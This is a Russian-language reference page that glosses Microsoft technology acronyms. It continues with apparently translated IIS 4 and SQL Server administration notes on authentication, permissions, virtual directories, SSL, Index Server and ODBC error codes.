MF (Media Foundation) — замена для DirectShow, Windows Media SDK, DirectX Media Objects (DMOs) и всех других мультимедийных APIs таких как Audio Compression Manager (ACM) и Video for Windows (VfW).

ASF (Advanced Systems Format) — потоковый аудио- и видео-формат
aka Advanced Streaming Format
aka Active Streaming Format

Active Scripting
ActiveX Scripting
WSH (Windows Script Host) — автоматизация жития в Windows

WDM (Windows Driver Model) — API для написания драйверов
VxD (virtual xxx driver) — предшественник
WDF (Windows Driver Foundation) — API для создания драйверов начиная с Windows 2000
KMDF (Kernel-Mode Driver Framework) — API для создания драйверов в режиме ядра
UMDF (User-Mode Driver Framework) — создаём драйверы для Vista+
WDDM (Windows Display Driver Model) — архитектура для драйверов видеокарт начиная с Vista
aka WVDDM

DLL (Dynamic Link Library)
DDI

FAT
NTFS

MSRPC (Microsoft Remote Procedure Call)

Windows DNA (Windows Distributed interNet Applications Architecture) — общее название для набора технологий, таких как ActiveX, Dynamic HTML (DHTML) и COM. Уже не используется.

MFC — ОО-прослойка над WINAPI
aka AFX (Application Framework Extensions)
WTL (Windows Template Library) — альтернатива MFC из недр Microsoft’а же!
ATL (Active Template Library) — упрощает создание COM-объектов; в некотором роде — более легковесная альтернатива MFC.

MSXML (Microsoft XML Core Services) — создаём родные XML-based Windows-приложения с VBScript, etc

WMI (Windows Management Instrumentation)
WIA (Windows Image Acquisition) — API для работы с периферией
WPD (Windows Portable Devices)

WPF (Windows Presentation Foundation)
aka Avalon
XAML (Extensible Application Markup Language) — язык для описания структуры в WPF
WF (Windows Workflow Foundation) — технология для определения, выполнения и управления рабочими процессами.
WinFX —?

MAPI (Messaging API)
RAPI (Remote Application Programming Interface)
SAPI (Speech Application Programming Interface)
TAPI (Telephony Application Programming Interface)

Базы данных

OLE DB — набор интерфейсов, основанных на COM, которые позволяют приложениям обращаться к данным, хранимым в разных источниках информации или хранилищах данных с помощью унифицированного доступа.

ADO (ActiveX Data Objects) — преемник RDO и DAO — интерфейс программирования приложений для доступа к данным, разработанный компанией Microsoft (MS Access, MS SQL Server) и основанный на технологии компонентов ActiveX. ADO позволяет представлять данные из разнообразных источников (реляционных баз данных, текстовых файлов и т. д.) в объектно-ориентированном виде.
ADO.NET — evolutionary improvement over traditional ADO for creating distributed, data-sharing applications.
RDO (Remote Data Objects) — технология доступа к базам данных
DAO (Data Access Objects) — технология доступа к данным
aka VT Objects
SQLXML — allowed Microsoft’s relational database to be viewed by XPath and allowed data to viewable as an XML file.
MDAC (Microsoft Data Access Components) — совокупность технологий компании Microsoft организованных в систему, которая позволяет программистам получить унифицированный и достаточно полный способ разработки приложений для доступа фактически к любым видам данных.

MDAC related:

ADOMD (ADO Multi-Dimensional) is to be used with multidimensional data providers such as Microsoft OLAP Provider, also known as Microsoft Analysis Services Provider.
ADOX (ADO Extensions for DDL and Security) enable the creation and modification of definitions of a database, table, index, or stored procedure.
SQLOLEDB (Microsoft OLE DB Provider for SQL Server) supports access to Microsoft SQL Server.
SQLODBC (Microsoft SQL Server ODBC Driver) enables access to Microsoft SQL Server.
MSDASQL (The Microsoft OLE DB Provider for ODBC) is a technology that allows applications that are built on OLEDB and ADO (which uses OLEDB internally) to access data sources through an ODBC driver.
MSDADS (Microsoft OLE DB Provider for Data Shaping) — you can create hierarchical relationships between keys, fields, or rowsets in an application.
JRO (Jet Replication Objects) — used within ADO with Jet (*.mdb) databases to create and compress Jet Databases (.mdb’s) and perform Jet Replication Management.

RDS (Remote Data Services) — technology used in conjunction with ActiveX Data Objects (ADO) that allowed the retrieval of a set of data from a database server, which the client then altered in some way and then sent back to the server for further processing.
aka ADC (Advanced Data Connector)

ESE (Extensible Storage Engine) — реализация ISAM (Индексно-Последовательный Метода Доступа, способ хранения данных для быстрого доступа к ним, by IBM)
aka JET Blue
JET Red
JET (Joint Engine Technology)
aka Microsoft JET Engine
Microsoft Jet Database Engine — database engine on which several Microsoft products were built.

MSDE (Microsoft SQL Server Desktop Engine) — система управления реляционными БД. Урезанная версия Microsoft SQL Server 7.0.
aka Microsoft Data Engine
aka Microsoft Desktop Engine

Администрирование

MMC — Microsoft Management Console

•  
  •  
    •  
      A) Нажмите конпки stop, start или pause в меню панели инструментов.
      B) Нажмите правой кнопкой мыши на нужном сервисе и нажмите Start, Stop или pause.

  Свойства наследуются по всей
  иерархии сайта (Site, Directory и Files), если только в индивидуальный
  свойствах явно не указан другой набор свойств. Например, установки
  сайта (Site settings)будут унаследованы каталогами и файлами в пределах
  этого сайта.

  Web site operator имеет ограниченный
  набор администраторских полномочий на конкретном сайте. Он может только
  менять установки сайта, но не установки IIS. Web site operator может
  быть назначен сайту через свойства сайта (закладка Operators).

  При помощи MMC можно останавливать, запускать и ставить на паузу различные службы.

  Что бы остановить, запустить или поставить на паузу службу, сделайте одно из следующих действий:

Для того, что бы удаленно администрировать IIS, в адресе необходимо указать порт, например : http://www.cramsession.com:6967/iisadmin/

.

Аутентификация

Возможные способы аутентификации :

•  
  • Allow Anonymous — любой пользователь может получить доступ к вашему сайту.
  • Basic — Для доступа требуется имя пользователя и пароль.
  • Windows NT Challenge/Response — Используется проверка прав пользователя через User Manager for Domains.
  • SSL Client Certificate — Сертификат, установленный на системе клиента, используется для аутентификации.

Если права пользователя меняются в то
время, когда загружен IIS, необходимо либо подождать 15 минут, пока
изменения вступят в силу, либо перезапустить соответствующую службу для
немедленного внесения изменений.

От пользователей Web аутентификация требуется только когда:

•  
  • Анонимный доступ запрещен.
  • Анонимному пользователю запрещен доступ к данному ресурсу.

Когда используется метод аутентификации
challenge/response, браузер, не поддерживающий этот метод (не
MS-браузен ) выведет на экран сообщение Access is Denied

.

Если браузер поддерживает только basic authentication, не отключайте ее в IIS, в противном случае сайт будет недоступен.

В IIS доступ на чтение позволяет пользователям читать или скачивать файлы.

Для доступа к каталогам, которые
находятся на разделе NTFS на удаленном сервера, вам необходимо указать
имя пользователя и пароль.

Что бы не передавать имя
пользователя и пароль по сети, используйте метод challenge/response в
WWW и используйте только анонимные подключения в службе FTP.

Виртуальные каталоги, расположенные на удаленном компьютере, для доступа к ним требуют учетной записи пользователя NT.

Если IIS установлен на server1,
а виртуальный каталог располагается на server2, и две системы не входят
в один NT домен, вы должны добавить одинаковую учетную запись
пользователя на server1 и на server2.

Клиентские сертификаты могут быть назначены на учетные записи NT.

Разрешения NTFS и IIS:

•  
  • Содержание сайта = Read
  • Программы = Read и Execute
  • Базы данных = Read и Write

Что бы исключить доступ анонимного пользователя к конкретным директориям:

•  
  • Уберите все разрешения NTFS у группы guest
  • Присвойте пользователю IUSR_ComputerName право no access

Если в FTP используются только
анонимные подключения, задействуйте оба свойста — Allow Anonymous
Connections и Allow Only Anonymous Connections в разделе Security
Accounts свойств сайта FTP.

WWW

Есть два пути как пользователь может получить доступ к виртуальному каталогу:

•  
  • Ссылки.
  • Написать alias в URL.

Пробелы в именах виртуальных каталогов вызовут проблемы у старых браузеров.

Если вы не указали адрес IP виртуального сервера к виртуальному каталогу, он будет виден всеми виртуальными серверами.

Когда реплицируете ваш web сайт
на несколько серверов, используйте одинаковое имя для любого сайта.
Создайте отдельные записи с именем web сервера как alias.

Пользователь по умолчанию должен иметь право logon local для получения доступа к WWW страницам вашего сервера.

Для улучшения загрузки web страниц, увеличьте время HTTP keep alive.

Виртуальные каталоги на другом сервере:

•  
  • Создайте каталог общего доступа на удаленном сервере
  • Используйте путь UNC к удаленному серверу и каталогу общего доступа
  • Введите имя пользователя и пароль для соединения
  • Удаленный сервер должен быть в том же домене, или добавьте имя пользователя с правами доступа в обоих доменах.

Для каждого виртуального сервера может быть создан только один домашний каталог (home directory).

Каталог скриптов в виртуальном домашнем каталоге управляет скриптами для этого виртуального домашнего каталога.

Общий каталог скриптов не назначенный на виртуальный домашний каталог может управлять скриптами для всех виртуальных серверов.

Виртуальные каталоги различаются именами alias. Alias привязан к виртуальному каталгу в закладке каталог (directory tab).

Если вы удалите виртуальный
каталог IISadmin на сервере, который вы администрируете, вы не сможете
использовать HTML администратора.

FTP

Для использования аннотаций каталогов:

•  
  • Поместите AnnotateDirectories REG_DWORD=1 в реестр.
  • Создайте ~ftpsvc~.ckm в каждом каталоге.

Некоторые броузеры не могут моддерживать управлени более чем одной линии в FTP приветственном сообщении, и получают ошибку 404.

Изменение Порта TCP через FTP Site
Properties потребует изменение клиентам их настроек software FTP для
TCP портa для правильного подключения.

Типы листиногов каталогов FTP:

•  
  • DOS — дата, время, размер, имя
  • UNIX — разрешения, владелец, группа, размер, дата, время, имя

Порты

Если вы изменяете номер порта, клиенты должны указать измененный номер порта для доступа к ресурсу.

ISAPI/CGI/Perl

Разрешение на Исполнение (Execute) необходимы для ISAPI и CGI приложений.

Разрешение на Чтение (Read) необязательно для ISAPI и CGI приложений.

Разрешения NTFS Читать (Read) и Писать (write) необходимы для ISAPI/CGI на разделах NTFS.

Для возможности серверу запускать CGI приложения, добавьте запись для типа приложения в реестр.

CGI приложения не могут быть запущены если использовалась аутентификация challenge/response.

CGI необходим новый процесс для каждого исполнения.

ISAPI фильтры используются для настройки процесса авторизации, доступа или процесса входа пользователя (logging).

Perl необходимо установленного command interpreter на IIS сервере.

MIME

MIME (Multipurpose Internet Mail Extensions) — Содержит список расширений и их ассоциаций с приложениями.

Установки MIME существуют в metabase. Metabase подобна реестру, но используется исключительно для хранения установок IIS.

Назначения MIME существуют с MMC
— Свойства Web Site, под закладкой HTTP Headers. Вы должны остановить и
перезапустить web сайт для вступления в силу изменений MIME.

Добавьте тип MIME для разрешения
обработки файлов с другими расширениями. Например, добавьте тип MIME
для разрешения фaйлов *.WEB быть обработанными как файлы *.HTML.

SSL — Secure Sockets Layer

Страницы SSL влияют на загрузку CPU и дольше загружаются сами.

URL SSL начинаются с https:// вместо http://.

Используйте Key Manager для запроса и импорта сертификатов безопасности.

Если две компании используют один и тот же IIS сервер, вам нужно два SSL сертификата.

Вы можете указать IP адрес и номер порта для применения сертификата когда импортируете в KEYMGR.

Вы можете применить SSL сертификат на виртуальный сервер, на котором не установлен IIS, указывая его адрес IP.

Процедуры для получения и внедрения SSL сертификата:

1. Сгенерируйте файл ключевой пары (key pair) и файл запроса (request).
2. Запросите сертификат у authority.
3. Установите сертификат.
4. Активизируйте SSL на сайте/директории.

Коды Ошибок

Регистрация (Logging)

Регистрация может быть реализована только для желательных служб, не для страниц, файлов и т.д.

Регистрация Текстового файла имеет минимальные воздействия на производительность.

Регистрация на базу данных SQL требует больше ресурсов.

Вы можете определить счетчик посещений для страницы из файла регистрации.

Только один файл журнала (log file) может быть создан для всех WWW виртуальных серверов.

Вы можете наблюдать за регистрациями пользователей Анонимов (Anonymous) через файл регистрации.

• CONVLOG.EXE —
  Используется для преобразования IP адресов в DNS имена, и для
  преобразования файлов журана web в формат NCSA Common Log File.

Настройка Производительности

Вы можете органичить пропускную
способность для IIS кликнув по limit bandwidth. Эти ограничения
доступны для WWW служб (особенно для транспортировщиков файлов *.HTML),
чтобы больше пропускной способности оставалось для других служб.

Пропускная способность может быть ограничена индивидуально для каждого сайта.

ASP приложения, CGI скрипты и базы данных загружают CPU, по сравнению со стандартными .HTML и FTP транспортировщиками файлов.

Пропускную способность можно подсчитать добавляя 4 бита к каждому 12 биту на каждый байт:

•  
  • т.e. 56,000 байт займут 56k*12 для передачи.

Модернизируйте сетевую архитектуру (100 BaseT, FDDI) если сетевая утилизация больше 60%.

IIS/SQL

.IDC файлы содержат имена и
расположение .HTX файлов, ODBC имя источника (DSN), SQL утверждения и
ID пользователя и его пароль (оба опцыональны).

.Коммуникация IDC требует 32-битовых драйверов ODBC.

Файл .HTX это шаблон HTML, используемый для отображения запрошенных данных SQL.

Измениение транспортоного
протооокола между SQL и IIS серверами (на разных машинах) остановит
хакеров от доступа к SQL через TCP/IP.

Три файла необходимы для соединения между IIS и SQL:

•  
  • .IDC
  • .HTX
  • HTTPODBC.DLL

Если IIS и SQL сервера расположены в
разных доменах, необходимо установить доверительные отношения между
доменами или учетная запись IUSR_WEB должна быть добавлена в SQL домен.

Специальная однопользовательская лицензия (на SQL Сервер) необходима для разрешения неограниченного доступа к Интернет.

Если включена аутентификация
challenge на IIS, это остановить регитсрацию на удаленном SQL сервере.
Вам нужно установить основную (basic) аутентификацию или установить SQL
сервер на тотже сервер, что и IIS.

Index Сервер

Файлы index занимают по совокуности 40%

Index Сервер может искать ОДИН каталог на каждый запрос.

Есть два пути наблюдать за производительностью Index Сервера:

•  
  • Performance Monitor
  • .IDA script

Вы можете сделать слитие (merge) Index
Сервера более частым, делая принудительное слитие с web
административной станицой, или сокращением максимального цисла
постоянных indexes в реестре, уменьшив MaxIndexesValue.

.IDQ эквивалетны .IDC файлам и
используются как фалы помощи при запросе преобразования от WWW. Они
содержат вводимую пользователем HTML форму. Они содержат следующую
информацию:

•  
  • Scope запроса
  • Ограничения Запроса (Query restrictions)
  • Запрос самого себя (Query itself)
  • Имя .HTX файлов

Избегайте нессответствущих hits добавляя шумовые слова (noise words) в WINNTSYSTEM32NOISE.ENU.

Избегайте нежелательных hits в Index
Сервера, создавая отдельные каталоги на каждый виртуальный каталог с
различным содержанием, и сопоставляя отдельные каталоги с
соотвествующими виртуальными серверами.

Имейте отдельные каталоги в установках IS Я знаяю, что документ там, но мой запрос не возвращает этого.

Запросы Index Сервера с нулевыми результатами занимают слишком много времени CPU.

Три шага процессов фильтрации для Index Сервера:

•  
  • Фильтрация Содержания (Content filtering) — Извлекает текст из файла.
  • Разрыв Слова (Word breaking) — Идентифицирует слова в пределах символьного потока.
  • Нормализация (Normalizing) — Удаляет преобразование букв в прописные, пунктуацию, и шумовые слова.

Типы index:

•  
  • Списки Слова (Word lists) — Слова, извлеченные из документа в память во время когда документ фильтруется.
  • Индексы Тени
    (Shadow indexes) — Постоянные (сохраненные на диск, а не в память) —
    созданные слиянием списков слов и другими индексами тени.
  • Главный Индеск
    (Master index) — Постоянный, сильно сжатый; содержит данные индексов
    для большого числа документов, созданных главным слиянием (master
    merge). Слитые индексы тени и текущий главный индекс могут иметь много
    индексов в каталоге.

Подсети (Subnetting)

ODBC Коды Ошибок

Microsoft OLE DB Provider for
ODBC Drivers error «80004005» [Microsoft] [ODBC Microsoft Access
Driver] The Microsoft Jet database engine cannot open file «(unknown)».
It is already opened exclusively by another user, or you need
permission to view its data.

Причина — учетная запись (обычно IUSR) не имеет необходимых разрешений. Проверьте Разрешения NTFS и Share.

Microsoft OLE DB Provider for
ODBC Drivers error «800004005» [Microsoft] [ODBC Microsoft Access 97
Driver] Couldn’t use «(unknown)»; file already in use.

Причина — База данных не может быть блокирована правильно для большого количества пользователей.

Microsoft OLE DB Provider for
ODBC Drivers error «800004005»[Microsoft] [ODBC Driver Manager] Data
source not found and no defaultdriver specified.

Причина — Файл GLOBAL.ASA не
правильно выполняется. Проверьте, что этот файл находится в папке
Application Root для IIS, и что пользователи имеют разрешение Execute
на эту папку.

Microsoft OLE DB Provider for
ODBC Drivers error ‘80004005’ [Microsoft][ODBCAccess 97 ODBC driver
Driver] General error Unable to open registry key’DriverId’.

Причина — Эта ошибка возникает
при чтении значения из реестра. Проверьте разрешения на ключ реестра
используя Редактор Реестра (Regedt32.exe). Вам также понадобится для
использования Windows NT Монитор Реестра (Registry Monitor) для
проверки попыток неудачно прочесть реестр.

Microsoft OLE DB Provider for ODBC Drivers error ‘80004005’ [Microsoft][ODBCDriver Manager] Data source name not ??

Причина — Это появляется в связи
с проблемой какое ПО установлено или удалено с компьютера. Если
основные файлы ODBC становятся несинхронизированными (они должны иметь
одинаковую версию) вы можете увидеть эту ошибку.

Microsoft OLE DB Provider for
ODBC Drivers error «800004005»[Microsoft] [ODBC Microsoft SQL Driver]
[dbnmpntw] ConnectionOpen (create file)

Причина — IIS будет использовать (по умолчанию) учетную запись Windows NT названную IUSR_Имя компьютера.
Эта учетная запись локальна для Web сервера, но по существу неизвестна
для любого компьютера в сети. Когда IIS, оперируя контекстом
безопасности учетной записи IUSR, пытается получить доступ к любому
ресурсу на удаленном компьютере, удаленный компьютер пытается утвердить
используемую учетную запись. Так как учетная запись IUSR — локальная и
не известна для удаленного компьютера, в доступе отказано.

Microsoft OLE DB Provider for ODBC Drivers error «800004005»[Microsoft] [ODBC Microsoft SQL Driver] Logon Failed

Причина — SQL Сервер запретил
доступ учетной записи, пытающейся получить доступ на SQL сервер.
Проверьте что пароли учетных записей SQL и NT совпадают, и что
подключение IIS к SQL серверу назначено на правильное имя пользователя.

Microsoft OLE DB Provider for
ODBC Drivers error ‘80004005’ [Microsoft][ODBC SQL Server Driver][SQL
Server] Login failed- User: Reason: Not defined as a valid user of a
trusted SQL Server connection.

Причина — Встроенная Защита
включена в SQL Enterprise Manager, а учетная запись Windows NT не была
назначена на учетную запись SQL. — Попытайтесь изменить SQL на
использование Standard Security. Если используете IIS 4.0, выключите
«Синхронизация Пароля (Password Synchronization)» для этого проекта.